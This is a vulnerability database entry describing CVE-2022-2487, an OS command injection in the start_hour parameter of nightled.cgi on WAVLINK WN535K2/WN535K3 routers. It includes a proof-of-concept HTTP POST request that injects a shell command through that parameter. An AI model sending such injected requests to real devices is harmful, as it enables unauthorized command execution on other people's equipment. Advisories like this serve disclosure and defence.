WAVLINK WN535K2/WN535K3 /cgi-bin/nightled.cgi start_hour os command injection

Summaryinfo

A vulnerability described as critical has been identified in WAVLINK WN535K2 and WN535K3. This issue affects some unknown processing of the file /cgi-bin/nightled.cgi. Executing a manipulation of the argument start_hour can lead to os command injection. This vulnerability appears as CVE-2022-2487. In addition, an exploit is available.

Detailsinfo

A vulnerability has been found in WAVLINK WN535K2 and WN535K3 (unknown version) and classified as critical. This vulnerability affects an unknown code block of the file /cgi-bin/nightled.cgi. The manipulation of the argument start_hour with an unknown input leads to a os command injection vulnerability. The CWE definition for the vulnerability is CWE-78. The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component. As an impact it is known to affect confidentiality, integrity, and availability.

The weakness was presented 07/20/2022. The advisory is available at github.com. This vulnerability was named CVE-2022-2487. Technical details and also a public exploit are known. This vulnerability is assigned to T1202 by the MITRE ATT&CK project.

It is possible to download the exploit at github.com. It is declared as proof-of-concept. The code used by the exploit is:

POST /cgi-bin/nightled.cgi HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 30

page=night_led&start_hour=;ls;

There is no information about possible countermeasures known. It may be suggested to replace the affected object with an alternative product.

If you want to get best quality of vulnerability data, you may have to visit VulDB.

Productinfo

Vendor

• WAVLINK

Name

• WN535K2
• WN535K3

License

• commercial

CPE 2.3info

• 🔍
• 🔍

CPE 2.2info

• 🔍
• 🔍

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Exploitinginfo

Threat Intelligenceinfo

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Timelineinfo

Sourcesinfo

Entryinfo

Submitinfo

Accepted

• Submit #41745: Wavlink nightled.cgi command execution (by webray.com.cn)

If you want to get best quality of vulnerability data, you may have to visit VulDB.

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